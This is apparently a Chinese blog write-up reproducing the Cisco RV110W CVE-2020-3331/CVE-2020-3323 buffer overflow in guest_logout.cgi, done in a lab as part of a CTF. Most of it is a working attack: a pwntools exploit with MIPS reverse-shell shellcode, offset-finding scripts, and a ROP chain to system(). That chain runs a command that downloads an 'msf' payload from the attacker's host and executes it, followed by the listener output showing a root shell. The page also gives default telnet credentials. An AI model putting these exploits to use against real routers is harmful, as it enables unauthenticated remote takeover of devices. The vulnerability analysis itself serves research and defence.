思科路由器 RV110W CVE-2020-3331 / CVE-2020-3323 漏洞复现

思科路由器 RV110W CVE-2020-3331 / CVE-2020-3323 漏洞复现

复现的是思科路由器RV110W CVE-2020-3331 / CVE-2020-3323 漏洞,参考文章
思科路由器 RV110W CVE-2020-3331 / CVE-2020-3323 漏洞复现

在强网杯RealWorld比赛中,IOT题目


2020强网杯决赛Cisco路由器

漏洞介绍

漏洞介绍

CVE编号 漏洞详情
CVE-2020-3331 Cisco RV110W Wireless-N VPN防火墙和Cisco RV215W Wireless-N VPN路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于基于Web的管理界面未正确验证用户提供的输入数据而引起的。攻击者可以通过向特定设备发送精心设计的请求来利用此漏洞。成功的利用可能使攻击者利用root用户的特权执行任意代码。
CVE-2020-3330 Cisco Small Business RV110W Wireless-N VPN防火墙路由器的Telnet服务中的漏洞可能允许未经身份验证的远程攻击者完全控制具有高特权帐户的设备。存在此漏洞是因为系统帐户具有默认的静态密码。攻击者可以通过使用此默认帐户连接到受影响的系统来利用此漏洞。成功利用此漏洞可能使攻击者获得对受影响设备的完全控制。
CVE-2020-3323 Cisco Small Business RV110W,RV130,RV130W和RV215W路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于在基于Web的管理界面中未正确验证用户提供的输入而引起的。攻击者可以通过向目标设备发送特制的HTTP请求来利用此漏洞。成功的利用可能使攻击者能够以root用户身份在受影响设备的基础操作系统上执行任意代码。
CVE-2020-3150 Cisco Small Business RV110W和RV215W系列路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者从设备下载敏感信息,其中可能包括设备配置。该漏洞是由于对HTTP请求的授权不当造成的。攻击者可以通过在路由器的基于Web的管理界面上访问特定的URI来利用此漏洞,但这仅在自上次重新启动以来任何有效用户打开设备上的特定文件之后。成功利用此漏洞将使攻击者可以查看敏感信息,应对此加以限制。
CVE-2020-3144 思科RV110W无线N VPN防火墙,RV130 VPN路由器,RV130W无线N多功能VPN路由器和RV215W无线N VPN路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者绕过身份验证并执行受影响的设备上带有管理命令的任意命令。该漏洞是由于受影响的设备上的会话管理不当引起的。攻击者可以通过向受影响的设备发送特制的HTTP请求来利用此漏洞。成功利用该漏洞可能使攻击者获得受影响设备上的管理访问权限。

端口扫描

端口扫描结果,


EXP验证

首先跑一遍EXP

from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux')
io     = listen(31337)
libc   = 0x2af98000
jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $a0
jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0 

shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode += "\xf8\xff\xa5\xaf\x01\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

payload = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+0x20*'a'+p32(jmp_s0)+0x18*'a'+shellcode
paramsPost = {"cmac":"12:af:aa:bb:cc:dd","submit_button":payload,"cip":"192.168.1.100"}

def attack():
    try: requests.post("https://192.168.1.1/guest_logout.cgi", data=paramsPost, verify=False,timeout=1)
    except: pass

thread.start_new_thread(attack,())
io.wait_for_connection()
log.success("getshell")
io.interactive()

结果如下:


定位漏洞

找到漏洞的步骤主要有以下三种:

  1. 动态测试
  2. 静态审计
  3. 补丁比对
    已知存在漏洞的固件版本号是1.5,和最新的固件版本1.8下载下来,用binwalk解压缩后,比较两个版本固件的httpd程序能够快速定位漏洞位置。补丁比对通常用bindiff。这里遇到一个大坑,win 10 环境下用7.2版本IDA和bindiff6进行二进制比对,运算时间特别长,运算了一个下午都没运算出来。最后用老版本的Bindiff 4.2和IDA 6.8才算能正常运行。
    比对结果如下图所示:

    根据函数名和漏洞信息,漏洞信息透露是在前台操作中存在漏洞,导致未授权恶意用户能够控制机器。猜测漏洞位置在guest_logout_cgi。
    打开发现存在1.5版本固件存在危险函数sscanf

漏洞原理

具体分析漏洞原理,从sccanf入手向上跟踪,用ghigra反编译伪代码如下所示:


undefined4 guest_logout_cgi(undefined4 param_1)

{
  char cVar1;
  bool bVar2;
  int iVar3;
  char *pcVar4;
  size_t sVar5;
  FILE *pFVar6;
  char *pcVar7;
  char *pcVar8;
  char *pcVar9;
  char *local_c0;
  undefined1 *local_bc;
  char *local_b8;
  char *local_b4;
  undefined4 local_b0;
  char acStack172 [64];
  char acStack108 [68];
  
  iVar3 = get_cgi(&DAT_004819b0);
  pcVar4 = (char *)get_cgi(&DAT_004819b0);
  sVar5 = strlen(pcVar4);
  pcVar8 = (char *)(iVar3 + sVar5 + -1);
  pcVar4 = (char *)get_cgi(&DAT_004819b0);
  if (pcVar4 < pcVar8) {
    do {
      cVar1 = *pcVar8;
      if (((cVar1 != '\n') && (cVar1 != '\r')) && (cVar1 != ' ')) break;
      *pcVar8 = '\0';
      pcVar8 = pcVar8 + -1;
      pcVar4 = (char *)get_cgi(&DAT_004819b0);
    } while (pcVar4 < pcVar8);
  }
  pcVar4 = (char *)get_cgi(&DAT_004819b0);
  iVar3 = get_cgi(&DAT_004819b8);
  pcVar8 = (char *)get_cgi(&DAT_004819b8);
  sVar5 = strlen(pcVar8);
  pcVar9 = (char *)(iVar3 + sVar5 + -1);
  pcVar8 = (char *)get_cgi(&DAT_004819b8);
  if (pcVar8 < pcVar9) {
    do {
      cVar1 = *pcVar9;
      if (((cVar1 != '\n') && (cVar1 != '\r')) && (cVar1 != ' ')) break;
      *pcVar9 = '\0';
      pcVar9 = pcVar9 + -1;
      pcVar8 = (char *)get_cgi(&DAT_004819b8);
    } while (pcVar8 < pcVar9);
  }
  pcVar8 = (char *)get_cgi(&DAT_004819b8);
  pcVar9 = (char *)get_cgi("submit_button");
  if (pcVar9 == (char *)0x0) {
    pcVar9 = "";
  }
  if (pcVar4 == (char *)0x0) {
    return 0;
  }
  if (pcVar8 == (char *)0x0) {
    return 0;
  }
  memset(acStack108,0,0x40);
  memset(acStack172,0,0x40);
  pFVar6 = fopen("/dev/console","w");
  if (pFVar6 != (FILE *)0x0) {
    fprintf(pFVar6,"\n  mac=[%s], ip=[%s], submit_button=[%s]\n",pcVar4,pcVar8,pcVar9);
    fclose(pFVar6);
  }
  iVar3 = VERIFY_MAC_17(pcVar4);
  if ((iVar3 == 0) || (iVar3 = VERIFY_IPv4(pcVar8), iVar3 == 0)) {
    pFVar6 = fopen("/dev/console","w");
    if (pFVar6 == (FILE *)0x0) {
      return 0;
    }
    fprintf(pFVar6,"\n%s(%d)  Drop session,VALID_FAIL, mac=[%s], ip=[%s], submit_button=[%s]\n",
            "guest_logout_cgi",0x1542,pcVar4,pcVar8,pcVar9);
    fclose(pFVar6);
    return 0;
  }
  pcVar7 = strstr(pcVar9,"status_guestnet.asp");
  if (pcVar7 == (char *)0x0) {
LAB_00431d24:
    pcVar7 = (char *)nvram_get("http_client_mac");
    if (((pcVar7 == (char *)0x0) || (iVar3 = strcmp(pcVar7,pcVar4), iVar3 == 0)) &&
       ((pcVar7 = (char *)nvram_get("http_client_ip"), pcVar7 == (char *)0x0 ||
        (iVar3 = strcmp(pcVar7,pcVar8), iVar3 == 0)))) {
      bVar2 = false;
      goto LAB_00431c68;
    }
    pFVar6 = fopen("/dev/console","w");
    if (pFVar6 != (FILE *)0x0) {
      fprintf(pFVar6,
              "\n%s(%d)  Drop session, ip and mac invmatch,mac=[%s], ip=[%s],submit_button=[%s]\n",
              "guest_logout_cgi",0x1551,pcVar4,pcVar8,pcVar9);
      fclose(pFVar6);
    }
  }
  else {
    sscanf(pcVar9,"%[^;];%*[^=]=%[^\n]",acStack108,acStack172);
    pFVar6 = fopen("/dev/console","w");
    if (pFVar6 != (FILE *)0x0) {
      fprintf(pFVar6,"\n%s(%d),submit_button = [%s] url=[%s],session_id=[%s]\n","guest_logout_cgi",
              0x1549,pcVar9,acStack108,acStack172);
      fclose(pFVar6);
    }
    pcVar7 = (char *)nvram_get("session_key");
    if (pcVar7 == (char *)0x0) goto LAB_00431d24;
    iVar3 = strcmp(pcVar7,acStack172);
    bVar2 = true;
    if (iVar3 != 0) goto LAB_00431d24;
LAB_00431c68:
    syslog(6,"The mac is %s and IP is %s of guest network user logout.",pcVar4,pcVar8);
    if ((debug != 0) && (pFVar6 = fopen("/dev/console","w"), pFVar6 != (FILE *)0x0)) {
      fprintf(pFVar6,"%s(): \n  mac=[%s], ip=[%s],submit_button=[%s]\n","guest_logout_cgi",pcVar4,
              pcVar8,pcVar9);
      fclose(pFVar6);
    }
    local_c0 = "/sbin/cron_gn";
    local_bc = &DAT_00485fe4;
    local_b0 = 0;
    local_b8 = pcVar4;
    local_b4 = pcVar8;
    _eval(&local_c0,">/dev/console",0,0);
    if ((bVar2) && (iVar3 = strcmp(acStack108,"status_guestnet.asp"), iVar3 == 0))
    goto LAB_00431de8;
  }
  iVar3 = strcmp(pcVar9,"login_guest.asp");
  if (iVar3 != 0) {
    return 0;
  }
LAB_00431de8:
  sVar5 = strlen(acStack108);
  if (sVar5 < 6) {
    do_ej(pcVar9,param_1);
  }
  else {
    do_ej(acStack108,param_1);
  }
  return 0;
}

关键代码如下所示:

  pcVar4 = (char *)get_cgi(&DAT_004819b0);
  pcVar8 = (char *)get_cgi(&DAT_004819b8);
  pcVar9 = (char *)get_cgi("submit_button");
  pFVar6 = fopen("/dev/console","w");
  if (pFVar6 != (FILE *)0x0) {
    fprintf(pFVar6,"\n  mac=[%s], ip=[%s], submit_button=[%s]\n",pcVar4,pcVar8,pcVar9);
    fclose(pFVar6);
  }
  memset(acStack108,0,0x40);
  memset(acStack172,0,0x40);
 pcVar7 = strstr(pcVar9,"status_guestnet.asp");
 if (pcVar7 != (char *)0x0)
 {  
     sscanf(pcVar9,"%[^;];%*[^=]=%[^\n]",acStack108,acStack172);
}

便来用pcVar9得到的值在向acStack108,acStack172进行传递时,由于未对其大小进行验证,导致缓冲区溢出。
下面的问题是搞清楚如何提交其参数。
对于pcVar4和pcVar8,在&DAT_004819b0和&DAT_004819b8位置单击右键,识别为字符串结果如下图所示:


&DAT_004819b0

i&DAT_004819b8

显然,pcVar4和pcVar8

  pcVar4 = (char *)get_cgi(&DAT_004819b0);
  pcVar8 = (char *)get_cgi(&DAT_004819b8);

在网上搜索guest_logout.cgi,发现这是该设备的很多历史漏洞和该cgi有关,例如C VE-2018-0423、CVE-2018-0424、CVE-2018-0425、CVE-2018-0426[漏洞预警 | 思科产品曝多个高危安全漏洞(附详细技术分析)](https://www.anquanke.com/post/id/159183)以及CVE-2019-1897CVE-2019-1898CVE-2019-1899
对于CVE-2019-1897 的应用示例如下所示:

curl -vv -d "submit_button=status_guestnet.asp&change_action=&submit_type=&gui_action=&cip=10.0.1.100&cmac=10:08:B1:A0:82:29a" -H "Content-Type: application/x-www-form-urlencoded" -X POST http://10.0.0.1/guest_logout.cgi

因此可以判断利用post提交噢submit_buttom参数,此外还需要cip和cmac参数,而且需符合格式要求才能使程序运行到sccanf函数段。
另外需要特别说明一下“%[^;];%*[^=]=%[^\n]”的含义,它是一种正则表达式,%[^;]:分号前的所有字符都要,;%*[^=]:分号后,等号前的字符都不要。
=%[^\n]:等号后,换行符前的所有字符都要是取 ;前和=后的值,例如如果传递的值是aaa;bbb=ccc,那么acStack108是aaa,acStack172是ccc

漏洞利用

明显栈溢出漏洞,利用思路就很简单:
搭建调试环境=>确定偏移量=>写入shellcode=>跳转到shellcode=>执行shellcode

1.上传gdbserver,搭建调试环境

H4LO上传的编译好的 mips32位静态编译调试程序/gdbserver,首先通过python在本机上建立简单的web
$ python -m SimpleHTTPServe
之后通过telnet连接路由器,用户名是admin,密码是Admin123:

 $ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
RV110W login: admin
Password: 


BusyBox v1.7.2 (2019-04-22 16:08:01 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

切换到tmp路径下,

# wget http://192.168.1.123:8000/gdbserver 
Connecting to 192.168.1.123:8000 (192.168.1.123:8000)
gdbserver            100% |*******************************|  1011k 00:00:00 ETA

同时看到本地termial显示gdbserver顺利上传过去

 $ python -m SimpleHTTPServer 
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.1.1 - - [28/Feb/2021 23:49:32] "GET /gdbserver HTTP/1.1" 200 -

同样的方法也可以把编译好的busybox上传上去,通过命令可查看httpd对应的pid号。

$ ./busybox-mipsel netstat -pantu | grep 443
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      356/httpd
tcp        0      0 :::443                  :::*                    LISTEN      356/httpd

之后在路由器用gdbserver attach上httpd对应进程即可调试:

$ chmod +x ./gdbserver
$ ./gdbserver :1234 --attach 356

之后在本地通过gdb远程调试

$ gdb-muliarch ./httpd
pwndbg> set architecture mips
pwndbg> set endian little
pwndbg> target remote 192.168.1.1:1234
pwndbg> c

至此,调试环境搭建完成。

2. 确定偏移量

利用request和pwntools发送post畸形包:

import requests
from pwn import *

url = "https://192.168.1.1/guest_logout.cgi"
b = cyclic(100)
print b
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+cyclic(100),"cip":"192.168.1.100"}
requests.post(url, data=payload, verify=False, timeout=1)

发送过后httpd崩溃,检测到溢出:

Program received signal SIGSEGV, Segmentation fault.
0x77616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────
 V0   0x0
 V1   0x73
 A0   0x4d81f2 (post_buf+66) ◂— 0x75746174 ('tatu')
 A1   0x47f785 ◂— 'ogin_guest.asp'
 A2   0x70
 A3   0x50c160 ◂— 0x0
 T0   0x50c108 ◂— 0x402409ef
 T1   0x50c108 ◂— 0x402409ef
 T2   0x19
 T3   0xfffffff0
 T4   0x61617361 ('asaa')
 T5   0x2b030004 (__ctype_b) —▸ 0x2afeabc0 (__C_ctype_b_data+256) ◂— 0x2000200
 T6   0xca5fb1e
 T7   0x61617461 ('ataa')
 T8   0x3
 T9   0x2afc64d0 (strcoll) ◂— lbu    $v1, ($a0)
 S0   0x6e616161 ('aaan')
 S1   0x6f616161 ('aaao')
 S2   0x70616161 ('aaap')
 S3   0x71616161 ('aaaq')
 S4   0x72616161 ('aaar')
 S5   0x73616161 ('aaas')
 S6   0x74616161 ('aaat')
 S7   0x75616161 ('aaau')
 S8   0x76616161 ('aaav')
 FP   0x7fd38458 ◂— 'aaaxaaayaaa'
 SP   0x7fd38458 ◂— 'aaaxaaayaaa'
 PC   0x77616161 ('aaaw')
───────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────
Invalid address 0x77616161

通过cyclic -l "string"确定偏移量。

pwndbg> cyclic -l "aaaw"
85

偏移量是85,之所以不是偶数是以为还要算上status_guestnet.asp,修改程序在验证一下:

import requests
from pwn import *

url = "https://192.168.1.1/guest_logout.cgi"
b = cyclic(100)
print b
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+cyclic(85)+p32(0xdeadbeaf),"cip":"192.168.1.100"}
requests.post(url, data=payload, verify=False, timeout=1)

之后程序崩溃现场如下:

xdeadbeaf in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────
 V0   0x0
 V1   0x73
 A0   0x4d81f2 (post_buf+66) ◂— 0x75746174 ('tatu')
 A1   0x47f785 ◂— 'ogin_guest.asp'
 A2   0xb0
 A3   0x4f92a8 ◂— 0x0
 T0   0x4f9250 ◂— 0xe9d5c2b0
 T1   0x4f9250 ◂— 0xe9d5c2b0
 T2   0x59
 T3   0xfffffff0
 T4   0x61617361 ('asaa')
 T5   0x2b030004 (__ctype_b) —▸ 0x2afeabc0 (__C_ctype_b_data+256) ◂— 0x2000200
 T6   0xca5fb1e
 T7   0x61617461 ('ataa')
 T8   0x2
 T9   0x2afc64d0 (strcoll) ◂— lbu    $v1, ($a0)
 S0   0x6e616161 ('aaan')
 S1   0x6f616161 ('aaao')
 S2   0x70616161 ('aaap')
 S3   0x71616161 ('aaaq')
 S4   0x72616161 ('aaar')
 S5   0x73616161 ('aaas')
 S6   0x74616161 ('aaat')
 S7   0x75616161 ('aaau')
 S8   0x76616161 ('aaav')
 FP   0x7fdf1408 —▸ 0x4fa200 ◂— 0x0
 SP   0x7fdf1408 —▸ 0x4fa200 ◂— 0x0
 PC   0xdeadbeaf
───────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────
Invalid address 0xdeadbeaf

3. 另一种EXP: ROP到system(cmd)

除了一开始列举的poc,执行shellcode回连shell以外,也可以通过调用system(cmd)的方法达成利用
利用telnet连接路由器,用户名wget:

$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
RV110W login: admin
Password: 


BusyBox v1.7.2 (2019-04-22 16:08:01 CST) built-in shell (ash)

上传静态编译的busybox和gdbserver。

libc地址以固定的。

cmd放在栈上,直接用system(cmd)

下载木马,执行回连shell
利用ida插件mipsrop查找libc的可用rop。
第一步是导入mipsrop

python > import  mipsrop
python > mipsrop =  mipsrop.MIPSROPfinder()

之后,运行mipsrop.stackfinder

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x0000BA84  |  addiu $a1,$sp,0x158+var_A0                          |  jalr  $s0                             |
|  0x00011918  |  addiu $a2,$sp,0x68+var_40                           |  jalr  $s1                             |
|  0x000250A8  |  addiu $s0,$sp,0x278+var_250                         |  jalr  $fp                             |
|  0x000257A0  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s0                             |
|  0x00025CAC  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s3                             |
|  0x0002747C  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s3                             |
|  0x0002CC00  |  addiu $a0,$sp,0x38+var_10                           |  jalr  $s0                             |

思路是劫持httpd进程到system(cmd),通过0x257A00x25CAC的gadget可以劫持s0/s3到system函数对应地址,将距离栈顶0x38-0x20=0x18的cmd传递给a0

text:000257A0                 addiu   $a0, $sp, 0x38+var_20
.text:000257A4                 move    $t9, $s0
.text:000257A8                 jalr    $t9

完成exp如下所示:

import requests
from pwn import *

url = "https://192.168.1.1/guest_logout.cgi"
libc_base = 0x2af98000
move_a0_s2_jalr_s1 = 0x0040bb14
jmp_s0 = libc_base + 0x00025cac#A0
system = libc_base +0x0004C7E0

cmd = b"cd /tmp &&\
    wget http://192.168.1.100:8000/msf && \
       chmod +x ./msf && \
       ./msf"
# cmd ="echo 1111"

print(hex(jmp_s0))
payload_0 = b"status_guestnet.asp"+cyclic(49)+p32(system)+cyclic(8)+p32(system)+cyclic(0x20-12)+p32(jmp_s0)+0x18*b'a'+cmd
payload = {"cmac":b"12:af:aa:bb:cc:dd","submit_button":payload_0,"cip":b"192.168.1.100"}
requests.post(url, data=payload, verify=False, timeout=1)

在gdb下断点在jmp_s3对应地址,看到此时s3寄存器为system函数地址,而a0寄存器是放在栈上的对应cmd
cmd执行的操作是下载恶意文件。赋予可执行权限后执行,得到回连shell

gef➤  c                                            
Continuing.                                        
^C                                                 
Program received signal SIGINT, Interrupt.         
0x2afa7c64 in wait4 () from target:/lib/libc.so.0  
[ Legend: Modified register | Code | Heap | Stack | String ]                                          
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$zero: 0x200                                       
$at  : 0x11009c00                                  
$v0  : 0x200                                       
$v1  : 0x2b038530           
$a0  : 0xeee                                       
$a1  : 0x7fa0a3e0  →  0x2afe47e0  →  <system+0> lui gp, 0x5                                           
$a2  : 0x0                                         
$a3  : 0x1                                         
$t0  : 0x0050beb0  →  0x00000000                   
$t1  : 0x0050beb0  →  0x00000000                   
$t2  : 0x69                                        
$t3  : 0xfffffff0                                  
$t4  : 0x20202020 ("    "?)                        
$t5  : 0x2b030004  →  0x2afeabc0  →  0x02000200    
$t6  : 0x20202020 ("    "?)                        
$t7  : 0x6d686320 (" chm"?)                        
$s0  : 0xeee                                       
$s1  : 0x2afe1280  →  <signal+0> lui gp, 0x5       
$s2  : 0x0                                         
$s3  : 0x0                                         
$s4  : 0x0                                         
$s5  : 0x7fa0a420  →  "cd /tmp &&    wget http://192.168.1.100:8000/msf &[...]"                       
$s6  : 0x61616163 ("caaa"?)                        
$s7  : 0x61616164 ("daaa"?)                        
$t8  : 0x2                                         
$t9  : 0x2afa7c40  →  <wait4+0> lui gp, 0x9        
$k0  : 0x0                                         
$k1  : 0x0                                         
$s8  : 0x61616165 ("eaaa"?) 
s8  : 0x61616165 ("eaaa"?)
$pc  : 0x2afa7c64  →  <wait4+36> beqz a3, 0x2afa7c84 <wait4+68>
$sp  : 0x7fa0a3a0  →  0x00000000
$hi  : 0x5       
$lo  : 0x0       
$fir : 0x0       
$ra  : 0x2afe49a0  →  0x00401821  →  0x00004d6f ("oM"?)
$gp  : 0x2b038530
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7fa0a3a0│+0x0000: 0x00000000   ← $sp
0x7fa0a3a4│+0x0004: 0x00000000
0x7fa0a3a8│+0x0008: 0x00000000
0x7fa0a3ac│+0x000c: 0x00000000
0x7fa0a3b0│+0x0010: 0x2b038530
0x7fa0a3b4│+0x0014: 0x63616161
0x7fa0a3b8│+0x0018: 0x00000eee
0x7fa0a3bc│+0x001c: 0x2afe49a0  →  0x00401821  →  0x00004d6f ("oM"?)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:mips:MIPS32 ────
   0x2afa7c58 <wait4+24>       sw     gp, 16(sp)
   0x2afa7c5c <wait4+28>       li     v0, 4114
   0x2afa7c60 <wait4+32>       syscall 

查看tmp文件夹下的文件:

# ls
action             dnsmasq.conf       lld2d.conf         startup.cfg
bcmupnp.pid        email.conf         media              udhcpc
bonj.conf          gdbserver          msf                udhcpc.expires
busybox-mips       group              passwd             udhcpd-br0.conf
busybox-mipsel     inter_route        qos                udhcpd-br0.leases
cert.pem           ipsec_https_ipt    quickvpn           var
config.txt         ipsec_secrets      shadow             www
cron.d             key.pem            snmpd.conf

可以看到恶意文件msf存在,证明成功劫持httpd到system(cmd)上。
在本地192.168.1.1开启监听端口4444,并python -m http.server构建一个简单的httpserver,供目标远程下载木马

>nc -vlp 4444
listening on [any] 4444 ...
192.168.1.1: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.1] 54566: NO_DATA
ls
action
bcmupnp.pid
bonj.conf
busybox-mips
busybox-mipsel
cert.pem
config.txt
cron.d
dnsmasq.conf
email.conf
gdbserver
group
inter_route
ipsec_https_ipt
ipsec_secrets
key.pem
lld2d.conf
media
msf
passwd
qos
quickvpn
shadow
snmpd.conf
startup.cfg
udhcpc
udhcpc.expires
udhcpd-br0.conf
udhcpd-br0.leases
var
www
id
uid=0(admin) gid=0(admin)

成功获取反弹shell

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容